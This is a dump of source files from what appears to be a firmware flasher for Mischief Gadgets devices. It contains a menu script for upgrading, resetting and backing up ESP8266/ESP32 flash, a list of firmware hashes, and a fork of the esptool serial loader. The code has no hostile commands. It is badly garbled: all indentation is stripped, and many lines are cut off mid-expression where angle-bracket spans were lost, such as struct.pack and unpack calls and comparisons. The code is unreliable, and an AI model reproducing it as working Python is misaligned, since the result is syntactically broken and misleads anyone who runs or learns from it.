print("")
i+=1
menu_options = ['']
MENU_MODE = str(input("Select Option: ")).replace(" ","")
if MENU_MODE == '1' or MENU_MODE == '2' or MENU_MODE == '3' or MENU_MODE == '4' or MENU_MODE == '5' or MENU_MODE == '6' or MENU_MODE == '7' or MENU_MODE == '8':
SANITIZED_SELECTION = True
except:
pass
# handle python serial exceptions here
try:
if MENU_MODE == '1':
print("\nFIRMWARE UPGRADE")
omg_runflash()
print("\n<<< FIRMWARE PROCESS FINISHED, REMOVE DEVICE >>>\n")
elif MENU_MODE == '2':
print("\nFACTORY RESET")
omg_runflash(True,True)
elif MENU_MODE == '3':
baudrate = '460800'
print("\nFIRMWARE UPGRADE - BATCH MODE")
omg_input()
repeating = ''
while repeating != 'e':
omg_runflash(True,skip_input=True,skip_reset=True)
repeating = input("\n\n<<< PRESS ENTER TO UPGRADE NEXT DEVICE, OR 'E' TO EXIT >>>\n")
omg_reset_settings()
complete(0)
elif MENU_MODE == '4':
baudrate = '460800'
print("\nFACTORY RESET - BATCH MODE")
omg_input()
repeating = ''
while repeating != 'e':
omg_runflash(True,True,skip_input=True,skip_reset=True)
repeating = input("\n\n<<< PRESS ENTER TO RESTORE NEXT DEVICE, OR 'E' TO EXIT >>>\n")
elif MENU_MODE == '5':
print("\nBACKUP DEVICE")
mac, flash_size = get_dev_info(results.PORT_PATH)
filename = "backup-{MACLOW}-{TIMESTAMP}.img".format(MACLOW="".join([hex(m).lstrip("0x") for m in mac]).lower(),TIMESTAMP=int(time()))
if flash_size < 0x200000:
command = ['--baud', baudrate, '--port', results.PORT_PATH, 'read_flash', '0x00000', '0x100000', filename]
else:
command = ['--baud', baudrate, '--port', results.PORT_PATH, 'read_flash', '0x00000', '0x200000', filename]
omg_flash(command)
print('Backup written to ', filename)
elif MENU_MODE == '6':
print("Attempting to update flash data...")
d = omg_fetch_latest_firmware(True,FIRMWARE_DIR)
if d is not None and len(d) > 1:
print("\n<<< LOAD SUCCESS. RELOADING DATA >>>\n\n")
else:
print("\n<<< LOAD FAILED. PLEASE MANUALLY DOWNLOAD FIRMWARE AND PLACE IN '%s' >>>\n\n"%FIRMWARE_DIR)
complete(0)
elif MENU_MODE == '7':
print("<<< GOODBYE. FLASHER EXITING >>> ")
sys.exit(0)
else:
print("<<< NO VALID INPUT WAS DETECTED. >>>")
except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e:
print("<<< FATAL ERROR: %s. PLEASE DISCONNECT AND RECONNECT DEVICE AND START TASK AGAIN >>>"%str(e))
sys.exit(1) # special case
complete(0)
================================================
FILE: hashes.txt
================================================
f3cc103136423a57975750907ebc1d367e2985ac6338976d4d5a439f50323f4a firmware/blank-settings.bin
f47a8ec3e9aff2318d896942282ad4fe37d6391c82914f54a5da8a37de1300c6 firmware/blank.bin
b2218087cf938ce665b26ac049f7d146677c70fe2909205a4d0e6a58aef0e4b3 firmware/esp_init_data_default_v08.bin
3a6c59c9d9b6ee2b2e64531f75b7ea2367b7568c2a000ac0121f7d64bd0b31c4 firmware/image.elf-0x00000.bin
aa3bf523b84f5126e67ef5d619a0b86ce68f6fb0225655cafde1d9fcfbc38c57 firmware/image.elf-0x10000.bin
dd76918d1d69e029947ec9b45151548a4bf3fe5cb5f1f1e40042927f4aa90fb3 firmware/page.mpfs
================================================
FILE: scripts/flashapi.py
================================================
#!/usr/bin/env python
#
# Copyright (C) Fredrik Ahlberg, Angus Gratton, Espressif Systems (Shanghai) PTE LTD,
# Mischief Gadgets, LLC, other contributors as noted.
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, write to the Free Software Foundation, Inc., 51 Franklin
# Street, Fifth Floor, Boston, MA 02110-1301 USA.
from __future__ import division, print_function
import argparse
import base64
import binascii
import copy
import hashlib
import inspect
import io
import os
import shlex
import string
import struct
import sys
import time
import zlib
try:
import serial
except ImportError:
print("Pyserial is not installed for %s. Check the README for installation instructions." % (sys.executable))
raise
try:
if "serialization" in serial.__doc__ and "deserialization" in serial.__doc__:
raise ImportError("""
flashapi.py depends on pyserial, but there is a conflict with a currently installed package named 'serial'.
You may be able to work around this by 'pip uninstall serial; pip install pyserial' \
but this may break other installed Python software that depends on 'serial'.
There is no good fix for this right now, apart from configuring virtualenvs.""")
except TypeError:
pass
try:
import serial.tools.list_ports as list_ports
except ImportError:
print("The installed version (%s) of pyserial appears to be too old for flashapi.py (Python interpreter %s). "
"Check the README for installation instructions." % (sys.VERSION, sys.executable))
raise
__version__ = "2.7-dev"
MAX_UINT32 = 0xffffffff
MAX_UINT24 = 0xffffff
DEFAULT_TIMEOUT = 3
START_FLASH_TIMEOUT = 20
CHIP_ERASE_TIMEOUT = 120
MAX_TIMEOUT = CHIP_ERASE_TIMEOUT * 2
SYNC_TIMEOUT = 0.1
MD5_TIMEOUT_PER_MB = 8
ERASE_REGION_TIMEOUT_PER_MB = 30
MEM_END_ROM_TIMEOUT = 0.05
DEFAULT_SERIAL_WRITE_TIMEOUT = 10
def timeout_per_mb(seconds_per_mb, size_bytes):
result = seconds_per_mb * (size_bytes / 1e6)
if result < DEFAULT_TIMEOUT:
return DEFAULT_TIMEOUT
return result
DETECTED_FLASH_SIZES = {0x12: '256KB', 0x13: '512KB', 0x14: '1MB',
0x15: '2MB', 0x16: '4MB', 0x17: '8MB', 0x18: '16MB'}
def check_supported_function(func, check_func):
def inner(*args, **kwargs):
obj = args[0]
if check_func(obj):
return func(*args, **kwargs)
else:
raise NotImplementedInROMError(obj, func)
return inner
def stub_function_only(func):
return check_supported_function(func, lambda o: o.IS_STUB)
def stub_and_esp32_function_only(func):
return check_supported_function(func, lambda o: o.IS_STUB or o.CHIP_NAME == "ESP32")
PYTHON2 = sys.version_info[0] < 3
if PYTHON2:
def byte(bitstr, index):
return ord(bitstr[index])
else:
def byte(bitstr, index):
return bitstr[index]
try:
basestring
except NameError:
basestring = str
def _mask_to_shift(mask):
shift = 0
while mask & 0x1 == 0:
shift += 1
mask >>= 1
return shift
def esp8266_function_only(func):
return check_supported_function(func, lambda o: o.CHIP_NAME == "ESP8266")
class ESPLoader(object):
CHIP_NAME = "Espressif device"
IS_STUB = False
DEFAULT_PORT = "/dev/ttyUSB0"
ESP_FLASH_BEGIN = 0x02
ESP_FLASH_DATA = 0x03
ESP_FLASH_END = 0x04
ESP_MEM_BEGIN = 0x05
ESP_MEM_END = 0x06
ESP_MEM_DATA = 0x07
ESP_SYNC = 0x08
ESP_WRITE_REG = 0x09
ESP_READ_REG = 0x0a
ESP_SPI_SET_PARAMS = 0x0B
ESP_SPI_ATTACH = 0x0D
ESP_CHANGE_BAUDRATE = 0x0F
ESP_FLASH_DEFL_BEGIN = 0x10
ESP_FLASH_DEFL_DATA = 0x11
ESP_FLASH_DEFL_END = 0x12
ESP_SPI_FLASH_MD5 = 0x13
ESP_ERASE_FLASH = 0xD0
ESP_ERASE_REGION = 0xD1
ESP_READ_FLASH = 0xD2
ESP_RUN_USER_CODE = 0xD3
ESP_FLASH_ENCRYPT_DATA = 0xD4
ESP_RAM_BLOCK = 0x1800
FLASH_WRITE_SIZE = 0x400
ESP_ROM_BAUD = 115200
ESP_IMAGE_MAGIC = 0xe9
ESP_CHECKSUM_MAGIC = 0xef
FLASH_SECTOR_SIZE = 0x1000
UART_DATA_REG_ADDR = 0x60000078
UART_CLKDIV_MASK = 0xFFFFF
IROM_MAP_START = 0x40200000
IROM_MAP_END = 0x40300000
STATUS_BYTES_LENGTH = 2
def __init__(self, port=DEFAULT_PORT, baud=ESP_ROM_BAUD, trace_enabled=False):
if isinstance(port, basestring):
self._port = serial.serial_for_url(port)
else:
self._port = port
self._slip_reader = slip_reader(self._port, self.trace)
self._set_port_baudrate(baud)
self._trace_enabled = trace_enabled
try:
self._port.write_timeout = DEFAULT_SERIAL_WRITE_TIMEOUT
except NotImplementedError:
self._port.write_timeout = None
def _set_port_baudrate(self, baud):
try:
self._port.baudrate = baud
except IOError:
raise FatalError("Failed to set baud rate %d. The driver may not support this rate." % baud)
@staticmethod
def detect_chip(port=DEFAULT_PORT, baud=ESP_ROM_BAUD, connect_mode='default_reset', trace_enabled=False):
detect_port = ESPLoader(port, baud, trace_enabled=trace_enabled)
detect_port.connect(connect_mode)
try:
sys.stdout.flush()
date_reg = detect_port.read_reg(ESPLoader.UART_DATA_REG_ADDR)
for cls in [ESP8266ROM, ESP32ROM]:
if date_reg == cls.DATE_REG_VALUE:
inst = cls(detect_port._port, baud, trace_enabled=trace_enabled)
return inst
finally:
print('...Connected.')
raise FatalError("Unexpected UART datecode value 0x%08x. Failed to autodetect chip type." % date_reg)
def read(self):
return next(self._slip_reader)
def write(self, packet):
buf = b'\xc0' \
+ (packet.replace(b'\xdb', b'\xdb\xdd').replace(b'\xc0', b'\xdb\xdc')) \
+ b'\xc0'
self.trace("Write %d bytes: %s", len(buf), HexFormatter(buf))
self._port.write(buf)
def trace(self, message, *format_args):
if self._trace_enabled:
now = time.time()
try:
delta = now - self._last_trace
except AttributeError:
delta = 0.0
self._last_trace = now
prefix = "TRACE +%.3f " % delta
print(prefix + (message % format_args))
@staticmethod
def checksum(data, state=ESP_CHECKSUM_MAGIC):
for b in data:
if type(b) is int:
state ^= b
else:
state ^= ord(b)
return state
def command(self, op=None, data=b"", chk=0, wait_response=True, timeout=DEFAULT_TIMEOUT):
saved_timeout = self._port.timeout
new_timeout = min(timeout, MAX_TIMEOUT)
if new_timeout != saved_timeout:
self._port.timeout = new_timeout
try:
if op is not None:
self.trace("command op=0x%02x data len=%s wait_response=%d timeout=%.3f data=%s",
op, len(data), 1 if wait_response else 0, timeout, HexFormatter(data))
pkt = struct.pack(b' self.STATUS_BYTES_LENGTH:
return data[:-self.STATUS_BYTES_LENGTH]
else:
return val
def flush_input(self):
self._port.flushInput()
self._slip_reader = slip_reader(self._port, self.trace)
def sync(self):
self.command(self.ESP_SYNC, b'\x07\x07\x12\x20' + 32 * b'\x55',
timeout=SYNC_TIMEOUT)
for i in range(7):
self.command()
def _setDTR(self, state):
self._port.setDTR(state)
def _setRTS(self, state):
self._port.setRTS(state)
self._port.setDTR(self._port.dtr)
def _connect_attempt(self, mode='default_reset', esp32r0_delay=False):
#
#
last_error = None
if mode == "no_reset_no_sync":
return last_error
#
if mode != 'no_reset':
self._setDTR(False)
self._setRTS(True)
time.sleep(0.1)
if esp32r0_delay:
time.sleep(1.2)
self._setDTR(True)
self._setRTS(False)
if esp32r0_delay:
time.sleep(0.4)
time.sleep(0.05)
self._setDTR(False)
for _ in range(5):
try:
self.flush_input()
self._port.flushOutput()
self.sync()
return None
except FatalError as e:
if esp32r0_delay:
print('_', end='')
else:
print('.', end='')
sys.stdout.flush()
time.sleep(0.05)
last_error = e
return last_error
def connect(self, mode='default_reset'):
print('Connecting...', end='')
sys.stdout.flush()
last_error = None
try:
for _ in range(7):
last_error = self._connect_attempt(mode=mode, esp32r0_delay=False)
if last_error is None:
return
last_error = self._connect_attempt(mode=mode, esp32r0_delay=True)
if last_error is None:
return
finally:
print('')
raise FatalError(
'ERROR: A programmer is detected, but no cable seems plugged in. Please try unplugging and replugging the cable and/or programmer. Please also make sure only one programmer is connected. (%s)' % (last_error))
def read_reg(self, addr):
val, data = self.command(self.ESP_READ_REG, struct.pack(' start:
raise FatalError(("Software loader is resident at 0x%08x-0x%08x. " +
"Can't load binary at overlapping address range 0x%08x-0x%08x. " +
"Either change binary loading address, or use the --no-stub " +
"option to disable the software loader.") % (start, end, load_start, load_end))
return self.check_command("enter RAM download mode", self.ESP_MEM_BEGIN,
struct.pack(' length:
raise FatalError('Read more than expected')
digest_frame = self.read()
if len(digest_frame) != 16:
raise FatalError('Expected digest, got: %s' % hexify(digest_frame))
expected_digest = hexify(digest_frame).upper()
digest = hashlib.md5(data).hexdigest().upper()
if digest != expected_digest:
raise FatalError('Digest mismatch: expected %s, got %s' % (expected_digest, digest))
return data
def flash_spi_attach(self, hspi_arg):
arg = struct.pack(' 0:
self.write_reg(SPI_MOSI_DLEN_REG, mosi_bits - 1)
if miso_bits > 0:
self.write_reg(SPI_MISO_DLEN_REG, miso_bits - 1)
else:
def set_data_lengths(mosi_bits, miso_bits):
SPI_DATA_LEN_REG = SPI_USR1_REG
SPI_MOSI_BITLEN_S = 17
SPI_MISO_BITLEN_S = 8
mosi_mask = 0 if (mosi_bits == 0) else (mosi_bits - 1)
miso_mask = 0 if (miso_bits == 0) else (miso_bits - 1)
self.write_reg(SPI_DATA_LEN_REG,
(miso_mask << SPI_MISO_BITLEN_S) | (
mosi_mask << SPI_MOSI_BITLEN_S))
SPI_CMD_USR = (1 << 18)
SPI_USR2_DLEN_SHIFT = 28
if read_bits > 32:
raise FatalError("Reading more than 32 bits back from a SPI flash operation is unsupported")
if len(data) > 64:
raise FatalError("Writing more than 64 bytes of data with one SPI command is unsupported")
data_bits = len(data) * 8
old_spi_usr = self.read_reg(SPI_USR_REG)
old_spi_usr2 = self.read_reg(SPI_USR2_REG)
flags = SPI_USR_COMMAND
if read_bits > 0:
flags |= SPI_USR_MISO
if data_bits > 0:
flags |= SPI_USR_MOSI
set_data_lengths(data_bits, read_bits)
self.write_reg(SPI_USR_REG, flags)
self.write_reg(SPI_USR2_REG,
(7 << SPI_USR2_DLEN_SHIFT) | spiflash_command)
if data_bits == 0:
self.write_reg(SPI_W0_REG, 0)
else:
data = pad_to(data, 4, b'\00')
words = struct.unpack("I" * (len(data) // 4), data)
next_reg = SPI_W0_REG
for word in words:
self.write_reg(next_reg, word)
next_reg += 4
self.write_reg(SPI_CMD_REG, SPI_CMD_USR)
def wait_done():
for _ in range(10):
if (self.read_reg(SPI_CMD_REG) & SPI_CMD_USR) == 0:
return
raise FatalError("SPI command did not complete in time")
wait_done()
status = self.read_reg(SPI_W0_REG)
self.write_reg(SPI_USR_REG, old_spi_usr)
self.write_reg(SPI_USR2_REG, old_spi_usr2)
return status
def read_status(self, num_bytes=2):
SPIFLASH_RDSR = 0x05
SPIFLASH_RDSR2 = 0x35
SPIFLASH_RDSR3 = 0x15
status = 0
shift = 0
for cmd in [SPIFLASH_RDSR, SPIFLASH_RDSR2, SPIFLASH_RDSR3][0:num_bytes]:
status += self.run_spiflash_command(cmd, read_bits=8) << shift
shift += 8
return status
def write_status(self, new_status, num_bytes=2, set_non_volatile=False):
SPIFLASH_WRSR = 0x01
SPIFLASH_WRSR2 = 0x31
SPIFLASH_WRSR3 = 0x11
SPIFLASH_WEVSR = 0x50
SPIFLASH_WREN = 0x06
SPIFLASH_WRDI = 0x04
enable_cmd = SPIFLASH_WREN if set_non_volatile else SPIFLASH_WEVSR
if num_bytes == 2:
self.run_spiflash_command(enable_cmd)
self.run_spiflash_command(SPIFLASH_WRSR, struct.pack(">= 8
self.run_spiflash_command(SPIFLASH_WRDI)
def get_crystal_freq(self):
#
uart_div = self.read_reg(self.UART_CLKDIV_REG) & self.UART_CLKDIV_MASK
est_xtal = (self._port.baudrate * uart_div) / 1e6 / self.XTAL_CLK_DIVIDER
norm_xtal = 40 if est_xtal > 33 else 26
if abs(norm_xtal - est_xtal) > 1:
print("WARNING: Detected crystal freq %.2fMHz is quite different to normalized freq %dMHz. Unsupported crystal in use?" % (est_xtal, norm_xtal))
return norm_xtal
def hard_reset(self):
self._setRTS(True)
time.sleep(0.1)
self._setRTS(False)
def soft_reset(self, stay_in_bootloader):
if not self.IS_STUB:
if stay_in_bootloader:
return
else:
self.flash_begin(0, 0)
self.flash_finish(False)
else:
if stay_in_bootloader:
self.flash_begin(0, 0)
self.flash_finish(True)
elif self.CHIP_NAME != "ESP8266":
raise FatalError("Soft resetting is currently only supported on ESP8266")
else:
self.command(self.ESP_RUN_USER_CODE, wait_response=False)
class ESP8266ROM(ESPLoader):
CHIP_NAME = "ESP8266"
IS_STUB = False
DATE_REG_VALUE = 0x00062000
ESP_OTP_MAC0 = 0x3ff00050
ESP_OTP_MAC1 = 0x3ff00054
ESP_OTP_MAC3 = 0x3ff0005c
SPI_REG_BASE = 0x60000200
SPI_W0_OFFS = 0x40
SPI_HAS_MOSI_DLEN_REG = False
UART_CLKDIV_REG = 0x60000014
XTAL_CLK_DIVIDER = 2
FLASH_SIZES = {
'512KB': 0x00,
'256KB': 0x10,
'1MB': 0x20,
'2MB': 0x30,
'4MB': 0x40,
'2MB-c1': 0x50,
'4MB-c1': 0x60,
'8MB': 0x80,
'16MB': 0x90,
}
BOOTLOADER_FLASH_OFFSET = 0
def get_efuses(self):
return (self.read_reg(0x3ff0005c) << 96 |
self.read_reg(0x3ff00058) << 64 |
self.read_reg(0x3ff00054) << 32 |
self.read_reg(0x3ff00050))
def get_chip_description(self):
efuses = self.get_efuses()
is_8285 = (efuses & ((1 << 4) | 1 << 80)) != 0
return "ESP8285" if is_8285 else "ESP8266EX"
def get_chip_features(self):
features = ["WiFi"]
if self.get_chip_description() == "ESP8285":
features += ["Embedded Flash"]
return features
def flash_spi_attach(self, hspi_arg):
if self.IS_STUB:
super(ESP8266ROM, self).flash_spi_attach(hspi_arg)
else:
self.flash_begin(0, 0)
def flash_set_parameters(self, size):
if self.IS_STUB:
super(ESP8266ROM, self).flash_set_parameters(size)
def chip_id(self):
id0 = self.read_reg(self.ESP_OTP_MAC0)
id1 = self.read_reg(self.ESP_OTP_MAC1)
return (id0 >> 24) | ((id1 & MAX_UINT24) << 8)
def read_mac(self):
mac0 = self.read_reg(self.ESP_OTP_MAC0)
mac1 = self.read_reg(self.ESP_OTP_MAC1)
mac3 = self.read_reg(self.ESP_OTP_MAC3)
if (mac3 != 0):
oui = ((mac3 >> 16) & 0xff, (mac3 >> 8) & 0xff, mac3 & 0xff)
elif ((mac1 >> 16) & 0xff) == 0:
oui = (0x18, 0xfe, 0x34)
elif ((mac1 >> 16) & 0xff) == 1:
oui = (0xac, 0xd0, 0x74)
else:
raise FatalError("Unknown OUI")
return oui + ((mac1 >> 8) & 0xff, mac1 & 0xff, (mac0 >> 24) & 0xff)
def get_erase_size(self, offset, size):
sectors_per_block = 16
sector_size = self.FLASH_SECTOR_SIZE
num_sectors = (size + sector_size - 1) // sector_size
start_sector = offset // sector_size
head_sectors = sectors_per_block - (start_sector % sectors_per_block)
if num_sectors < head_sectors:
head_sectors = num_sectors
if num_sectors < 2 * head_sectors:
return (num_sectors + 1) // 2 * sector_size
else:
return (num_sectors - head_sectors) * sector_size
def override_vddsdio(self, new_voltage):
raise NotImplementedInROMError("Overriding VDDSDIO setting only applies to ESP32")
class ESP8266StubLoader(ESP8266ROM):
FLASH_WRITE_SIZE = 0x4000
IS_STUB = True
def __init__(self, rom_loader):
self._port = rom_loader._port
self._trace_enabled = rom_loader._trace_enabled
self.flush_input()
def get_erase_size(self, offset, size):
return size
ESP8266ROM.STUB_CLASS = ESP8266StubLoader
class ESP32ROM(ESPLoader):
CHIP_NAME = "ESP32"
IS_STUB = False
DATE_REG_VALUE = 0x15122500
IROM_MAP_START = 0x400d0000
IROM_MAP_END = 0x40400000
DROM_MAP_START = 0x3F400000
DROM_MAP_END = 0x3F800000
STATUS_BYTES_LENGTH = 4
SPI_REG_BASE = 0x60002000
EFUSE_REG_BASE = 0x6001a000
SPI_W0_OFFS = 0x80
SPI_HAS_MOSI_DLEN_REG = True
UART_CLKDIV_REG = 0x3ff40014
XTAL_CLK_DIVIDER = 1
FLASH_SIZES = {
'1MB': 0x00,
'2MB': 0x10,
'4MB': 0x20,
'8MB': 0x30,
'16MB': 0x40
}
BOOTLOADER_FLASH_OFFSET = 0x1000
OVERRIDE_VDDSDIO_CHOICES = ["1.8V", "1.9V", "OFF"]
def is_flash_encryption_key_valid(self):
word0 = self.read_efuse(0)
rd_disable = (word0 >> 16) & 0x1
if rd_disable:
return True
else:
key_word = [0] * 7
for i in range(len(key_word)):
key_word[i] = self.read_efuse(14 + i)
if key_word[i] != 0:
return True
return False
def get_flash_crypt_config(self):
word0 = self.read_efuse(0)
rd_disable = (word0 >> 19) & 0x1
if rd_disable == 0:
word5 = self.read_efuse(5)
word5 = (word5 >> 28) & 0xF
return word5
else:
return 0xF
def get_chip_description(self):
word3 = self.read_efuse(3)
chip_ver_rev1 = (word3 >> 15) & 0x1
pkg_version = (word3 >> 9) & 0x07
chip_name = {
0: "ESP32D0WDQ6",
1: "ESP32D0WDQ5",
2: "ESP32D2WDQ5",
5: "ESP32-PICO-D4",
}.get(pkg_version, "unknown ESP32")
return "%s (revision %d)" % (chip_name, chip_ver_rev1)
def get_chip_features(self):
features = ["WiFi"]
word3 = self.read_efuse(3)
chip_ver_dis_bt = word3 & (1 << 1)
if chip_ver_dis_bt == 0:
features += ["BT"]
chip_ver_dis_app_cpu = word3 & (1 << 0)
if chip_ver_dis_app_cpu:
features += ["Single Core"]
else:
features += ["Dual Core"]
chip_cpu_freq_rated = word3 & (1 << 13)
if chip_cpu_freq_rated:
chip_cpu_freq_low = word3 & (1 << 12)
if chip_cpu_freq_low:
features += ["160MHz"]
else:
features += ["240MHz"]
pkg_version = (word3 >> 9) & 0x07
if pkg_version in [2, 4, 5]:
features += ["Embedded Flash"]
word4 = self.read_efuse(4)
adc_vref = (word4 >> 8) & 0x1F
if adc_vref:
features += ["VRef calibration in efuse"]
blk3_part_res = word3 >> 14 & 0x1
if blk3_part_res:
features += ["BLK3 partially reserved"]
word6 = self.read_efuse(6)
coding_scheme = word6 & 0x3
features += ["Coding Scheme %s" % {
0: "None",
1: "3/4",
2: "Repeat (UNSUPPORTED)",
3: "Invalid"}[coding_scheme]]
return features
def read_efuse(self, n):
return self.read_reg(self.EFUSE_REG_BASE + (4 * n))
def chip_id(self):
raise NotSupportedError(self, "chip_id")
def read_mac(self):
words = [self.read_efuse(2), self.read_efuse(1)]
bitstring = struct.pack(">II", *words)
bitstring = bitstring[2:8]
try:
return tuple(ord(b) for b in bitstring)
except TypeError:
return tuple(bitstring)
def get_erase_size(self, offset, size):
return size
def override_vddsdio(self, new_voltage):
new_voltage = new_voltage.upper()
if new_voltage not in self.OVERRIDE_VDDSDIO_CHOICES:
raise FatalError("The only accepted VDDSDIO overrides are '1.8V', '1.9V' and 'OFF'")
RTC_CNTL_SDIO_CONF_REG = 0x3ff48074
RTC_CNTL_XPD_SDIO_REG = (1 << 31)
RTC_CNTL_DREFH_SDIO_M = (3 << 29)
RTC_CNTL_DREFM_SDIO_M = (3 << 27)
RTC_CNTL_DREFL_SDIO_M = (3 << 25)
RTC_CNTL_SDIO_FORCE = (1 << 22)
RTC_CNTL_SDIO_PD_EN = (1 << 21)
reg_val = RTC_CNTL_SDIO_FORCE
reg_val |= RTC_CNTL_SDIO_PD_EN
if new_voltage != "OFF":
reg_val |= RTC_CNTL_XPD_SDIO_REG
if new_voltage == "1.9V":
reg_val |= (RTC_CNTL_DREFH_SDIO_M | RTC_CNTL_DREFM_SDIO_M | RTC_CNTL_DREFL_SDIO_M)
self.write_reg(RTC_CNTL_SDIO_CONF_REG, reg_val)
print("VDDSDIO regulator set to %s" % new_voltage)
class ESP32StubLoader(ESP32ROM):
FLASH_WRITE_SIZE = 0x4000
STATUS_BYTES_LENGTH = 2
IS_STUB = True
def __init__(self, rom_loader):
self._port = rom_loader._port
self._trace_enabled = rom_loader._trace_enabled
self.flush_input()
ESP32ROM.STUB_CLASS = ESP32StubLoader
class ESPBOOTLOADER(object):
IMAGE_V2_MAGIC = 0xea
IMAGE_V2_SEGMENT = 4
def LoadFirmwareImage(chip, filename):
with open(filename, 'rb') as f:
if chip.lower() == 'esp32':
return ESP32FirmwareImage(f)
else:
magic = ord(f.read(1))
f.seek(0)
if magic == ESPLoader.ESP_IMAGE_MAGIC:
return ESP8266ROMFirmwareImage(f)
elif magic == ESPBOOTLOADER.IMAGE_V2_MAGIC:
return ESP8266V2FirmwareImage(f)
else:
raise FatalError("Invalid image magic number: %d" % magic)
class ImageSegment(object):
def __init__(self, addr, data, file_offs=None):
self.addr = addr
self.data = data
self.file_offs = file_offs
self.include_in_checksum = True
if self.addr != 0:
self.pad_to_alignment(4)
def copy_with_new_addr(self, new_addr):
return ImageSegment(new_addr, self.data, 0)
def split_image(self, split_len):
result = copy.copy(self)
result.data = self.data[:split_len]
self.data = self.data[split_len:]
self.addr += split_len
self.file_offs = None
result.file_offs = None
return result
def __repr__(self):
r = "len 0x%05x load 0x%08x" % (len(self.data), self.addr)
if self.file_offs is not None:
r += " file_offs 0x%08x" % (self.file_offs)
return r
def pad_to_alignment(self, alignment):
self.data = pad_to(self.data, alignment, b'\x00')
class ELFSection(ImageSegment):
def __init__(self, name, addr, data):
super(ELFSection, self).__init__(addr, data)
self.name = name.decode("utf-8")
def __repr__(self):
return "%s %s" % (self.name, super(ELFSection, self).__repr__())
class BaseFirmwareImage(object):
SEG_HEADER_LEN = 8
SHA256_DIGEST_LEN = 32
def __init__(self):
self.segments = []
self.entrypoint = 0
self.elf_sha256 = None
self.elf_sha256_offset = 0
def load_common_header(self, load_file, expected_magic):
(magic, segments, self.flash_mode, self.flash_size_freq, self.entrypoint) = struct.unpack(' 16:
raise FatalError('Invalid segment count %d (max 16). Usually this indicates a linker script problem.' % len(self.segments))
def load_segment(self, f, is_irom_segment=False):
file_offs = f.tell()
(offset, size) = struct.unpack(' 0x40200000 or offset < 0x3ffe0000 or size > 65536:
print('WARNING: Suspicious segment 0x%x, length %d' % (offset, size))
def maybe_patch_segment_data(self, f, segment_data):
segment_len = len(segment_data)
file_pos = f.tell()
if self.elf_sha256_offset >= file_pos and self.elf_sha256_offset < file_pos + segment_len:
patch_offset = self.elf_sha256_offset - file_pos
if patch_offset < self.SEG_HEADER_LEN or patch_offset + self.SHA256_DIGEST_LEN > segment_len:
raise FatalError('Cannot place SHA256 digest on segment boundary' +
'(elf_sha256_offset=%d, file_pos=%d, segment_size=%d)' %
(self.elf_sha256_offset, file_pos, segment_len))
if segment_data[patch_offset:patch_offset + self.SHA256_DIGEST_LEN] != b'\x00' * self.SHA256_DIGEST_LEN:
raise FatalError('Contents of segment at SHA256 digest offset 0x%x are not all zero. Refusing to overwrite.' %
self.elf_sha256_offset)
assert (len(self.elf_sha256) == self.SHA256_DIGEST_LEN)
patch_offset -= self.SEG_HEADER_LEN
segment_data = segment_data[0:patch_offset] + self.elf_sha256 + \
segment_data[patch_offset + self.SHA256_DIGEST_LEN:]
return segment_data
def save_segment(self, f, segment, checksum=None):
segment_data = self.maybe_patch_segment_data(f, segment.data)
f.write(struct.pack(' 0:
if len(irom_segments) != 1:
raise FatalError('Found %d segments that could be irom0. Bad ELF file?' % len(irom_segments))
return irom_segments[0]
return None
def get_non_irom_segments(self):
irom_segment = self.get_irom_segment()
return [s for s in self.segments if s != irom_segment]
class ESP8266ROMFirmwareImage(BaseFirmwareImage):
ROM_LOADER = ESP8266ROM
def __init__(self, load_file=None):
super(ESP8266ROMFirmwareImage, self).__init__()
self.flash_mode = 0
self.flash_size_freq = 0
self.version = 1
if load_file is not None:
segments = self.load_common_header(load_file, ESPLoader.ESP_IMAGE_MAGIC)
for _ in range(segments):
self.load_segment(load_file)
self.checksum = self.read_checksum(load_file)
self.verify()
def default_output_name(self, input_file):
return input_file + '-'
def save(self, basename):
irom_segment = self.get_irom_segment()
if irom_segment is not None:
with open("%s0x%05x.bin" % (basename, irom_segment.addr - ESP8266ROM.IROM_MAP_START), "wb") as f:
f.write(irom_segment.data)
normal_segments = self.get_non_irom_segments()
with open("%s0x00000.bin" % basename, 'wb') as f:
self.write_common_header(f, normal_segments)
checksum = ESPLoader.ESP_CHECKSUM_MAGIC
for segment in normal_segments:
checksum = self.save_segment(f, segment, checksum)
self.append_checksum(f, checksum)
class ESP8266V2FirmwareImage(BaseFirmwareImage):
ROM_LOADER = ESP8266ROM
def __init__(self, load_file=None):
super(ESP8266V2FirmwareImage, self).__init__()
self.version = 2
if load_file is not None:
segments = self.load_common_header(load_file, ESPBOOTLOADER.IMAGE_V2_MAGIC)
if segments != ESPBOOTLOADER.IMAGE_V2_SEGMENT:
print('Warning: V2 header has unexpected "segment" count %d (usually 4)' % segments)
irom_segment = self.load_segment(load_file, True)
irom_segment.addr = 0
irom_segment.include_in_checksum = False
first_flash_mode = self.flash_mode
first_flash_size_freq = self.flash_size_freq
first_entrypoint = self.entrypoint
segments = self.load_common_header(load_file, ESPLoader.ESP_IMAGE_MAGIC)
if first_flash_mode != self.flash_mode:
print('WARNING: Flash mode value in first header (0x%02x) disagrees with second (0x%02x). Using second value.'
% (first_flash_mode, self.flash_mode))
if first_flash_size_freq != self.flash_size_freq:
print('WARNING: Flash size/freq value in first header (0x%02x) disagrees with second (0x%02x). Using second value.'
% (first_flash_size_freq, self.flash_size_freq))
if first_entrypoint != self.entrypoint:
print('WARNING: Entrypoint address in first header (0x%08x) disagrees with second header (0x%08x). Using second value.'
% (first_entrypoint, self.entrypoint))
for _ in range(segments):
self.load_segment(load_file)
self.checksum = self.read_checksum(load_file)
self.verify()
def default_output_name(self, input_file):
irom_segment = self.get_irom_segment()
if irom_segment is not None:
irom_offs = irom_segment.addr - ESP8266ROM.IROM_MAP_START
else:
irom_offs = 0
return "%s-0x%05x.bin" % (os.path.splitext(input_file)[0],
irom_offs & ~(ESPLoader.FLASH_SECTOR_SIZE - 1))
def save(self, filename):
with open(filename, 'wb') as f:
f.write(struct.pack(b' 0:
last_addr = flash_segments[0].addr
for segment in flash_segments[1:]:
if segment.addr // self.IROM_ALIGN == last_addr // self.IROM_ALIGN:
